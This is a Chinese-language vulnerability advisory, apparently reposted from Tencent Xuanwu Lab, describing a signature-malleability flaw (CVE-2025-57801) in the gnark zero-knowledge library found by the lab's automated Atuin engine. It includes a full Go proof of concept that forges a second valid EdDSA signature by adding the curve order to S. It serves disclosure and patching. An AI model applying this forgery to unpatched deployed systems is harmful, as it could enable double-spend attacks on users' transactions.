玄武阿图因(Atuin)自动化漏洞挖掘引擎发现零知识证明库 gnark 的签名可锻造性漏洞
玄武实验室研发的阿图因自动化漏洞挖掘引擎发现零知识证明库 gnark 中存在高危签名验证漏洞(CVE-2025-57801),允许攻击者伪造有效签名并引发安全问题。该漏洞已修复,建议用户升级至最新版本以避免风险。 2025-8-25 16:0:0 Author: xlab.tencent.com(查看原文) 阅读量:14 收藏

近日,玄武实验室自主研发的阿图因(Atuin)自动化漏洞挖掘引擎,在零知识证明库 gnark 的 EdDSA 与 ECDSA 签名验证功能中发现一处高危漏洞(CVE-2025-57801,CVSS Score 8.6),该漏洞允许攻击者锻造有效签名并通过验证。漏洞的验证工作由玄武实验室联合上海交通大学 GOSSIP 实验室与郁昱教授团队共同完成。值得注意的是,尽管 gnark 在其官方 README 中宣称已接受完整审计,阿图因引擎仍成功识别出这一漏洞,展现出人类专家级的自动化漏洞挖掘能力。

gnark 是一个基于 zk-snark 协议实现的零知识证明库,其在 Web3 生态中被广泛使用,Noir、WorldCoin、Linea zKEVM 以及币安链(BNB Chain)等多个知名项目均使用了 gnark 提供的密码功能。

gnark<0.13.0 版本中存在原生 EdDSA/ECDSA 电路验证缺陷:未对签名组成 \(S\) 进行范围约束(即未检查 \(0 ≤ S < 椭圆曲线阶数\)),造成签名可锻造性问题,导致同一消息可对应多个有效签名。对于使用该原生电路验证签名的系统,攻击者能够构造有效签名;若系统使用 \((R, S)\) 生成防重放标识(nullifier)或交易哈希,则可能进一步引发双花攻击,在根本上破坏交易的安全性。该漏洞位于算法的验证函数中,在正常的签名验证流程中即可触发,而且也无需依赖特定的椭圆曲线。目前 gnark 已在 v0.14.0 版本中修复该漏洞,建议用户立即升级。

在 EdDSA 等椭圆曲线签名算法中,签名由 \((R, S)\) 组成。合法的 \(S\) 需满足 \(S < 曲线阶数\ n\)。但 gnark 的电路未对此约束,导致攻击者可构造:
$$ S’ \equiv S + n \pmod n $$
新签名 \(S’\) 与原始签名 \(S\) 在模 \(n\) 下等价,验证时均被接受(因验证方程仅涉及模运算)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
package main

import (
"crypto/rand"
"fmt"
"math/big"

"github.com/consensys/gnark-crypto/ecc"
mimcHash "github.com/consensys/gnark-crypto/ecc/bn254/fr/mimc"
eddsaCrypto "github.com/consensys/gnark-crypto/ecc/bn254/twistededwards/eddsa"

"github.com/consensys/gnark/backend/groth16"
"github.com/consensys/gnark/frontend"
"github.com/consensys/gnark/frontend/cs/r1cs"
"github.com/consensys/gnark/std/algebra/native/twistededwards"
stdMimc "github.com/consensys/gnark/std/hash/mimc"
stdEddsa "github.com/consensys/gnark/std/signature/eddsa"

te "github.com/consensys/gnark-crypto/ecc/twistededwards"
)


type eddsaCircuit struct {
Msg frontend.Variable `gnark:",public"`
Pk stdEddsa.PublicKey `gnark:",public"`
Sig stdEddsa.Signature
}

func (c *eddsaCircuit) Define(api frontend.API) error {
curve, _ := twistededwards.NewEdCurve(api, te.BN254)
hasher, _ := stdMimc.NewMiMC(api)
stdEddsa.Verify(curve, c.Sig, c.Msg, c.Pk, &hasher)
return nil
}

func groupOrder() *big.Int {

const rStr = "21888242871839275222246405745257275088548364400416034343698204186575808495617"
n, _ := new(big.Int).SetString(rStr, 10)
return n
}


func forge(sig eddsaCrypto.Signature) eddsaCrypto.Signature {
order := groupOrder()

var forged eddsaCrypto.Signature
forged.R = sig.R

s := new(big.Int).SetBytes(sig.S[:])
s.Add(s, order)

buf := make([]byte, 32)
copy(buf[32-len(s.Bytes()):], s.Bytes())
copy(forged.S[:], buf)
return forged
}

func main() {

priv, _ := eddsaCrypto.GenerateKey(rand.Reader)
pub := priv.PublicKey
msg := []byte("multi-witness")


h := mimcHash.NewMiMC()
h.Write(msg)
rawSig, _ := priv.Sign(msg, h)

var honest eddsaCrypto.Signature
honest.SetBytes(rawSig)
forged := forge(honest)


circuit := &eddsaCircuit{}
ccs, err := frontend.Compile(ecc.BN254.ScalarField(), r1cs.NewBuilder, circuit)
if err != nil {
fmt.Printf("Circuit compilation failed: %v\n", err)
return
}

pk, vk, err := groth16.Setup(ccs)
if err != nil {
fmt.Printf("Trusted setup failed: %v\n", err)
return
}


var public eddsaCircuit
public.Msg = new(big.Int).SetBytes(msg)
public.Pk.Assign(te.BN254, pub.Bytes())


w1 := public
w1.Sig.Assign(te.BN254, honest.Bytes())

witness1, err := frontend.NewWitness(&w1, ecc.BN254.ScalarField())
if err != nil {
fmt.Printf("Failed to create witness1: %v\n", err)
return
}

proof1, err := groth16.Prove(ccs, pk, witness1)
if err != nil {
fmt.Println("Witness 1 (honest): Prover failed!")
} else {
publicWitness1, err := witness1.Public()
if err != nil {
fmt.Println("Witness 1 (honest): Prover failed!")
} else {
err = groth16.Verify(proof1, vk, publicWitness1)
if err != nil {
fmt.Println("Witness 1 (honest): Prover failed!")
} else {
fmt.Println("Witness 1 (honest): Prover succeeded!")
}
}
}


w2 := public
w2.Sig.Assign(te.BN254, forged.Bytes())
fmt.Println(honest.R.Equal(&forged.R))
fmt.Println(honest.S != forged.S)

witness2, err := frontend.NewWitness(&w2, ecc.BN254.ScalarField())
if err != nil {
fmt.Printf("Failed to create witness2: %v\n", err)
return
}

proof2, err := groth16.Prove(ccs, pk, witness2)
if err != nil {
fmt.Println("Witness 2 (forged): Prover failed!")
} else {
publicWitness2, err := witness2.Public()
if err != nil {
fmt.Println("Witness 2 (forged): Prover failed!")
} else {
err = groth16.Verify(proof2, vk, publicWitness2)
if err != nil {
fmt.Println("Witness 2 (forged): Prover failed!")
} else {
fmt.Println("Witness 2 (forged): Prover succeeded!")
}
}
}
}

阿图因自动化漏洞挖掘引擎是由玄武实验室研发的一款多智能体自动化漏洞挖掘系统。该系统具备相当于中等水平人类专家的漏洞挖掘能力,能够发现逻辑漏洞和高复杂性漏洞。目前,该引擎已在主流开源项目中成功发现并验证了数十个高危安全漏洞,展现出其在提升漏洞挖掘效率以及实现漏洞挖掘规模化方面的巨大潜力。


文章来源: https://xlab.tencent.com/cn/2025/08/26/atuin-gnark-crypto-vulns/
如有侵权请联系:admin#unsafe.sh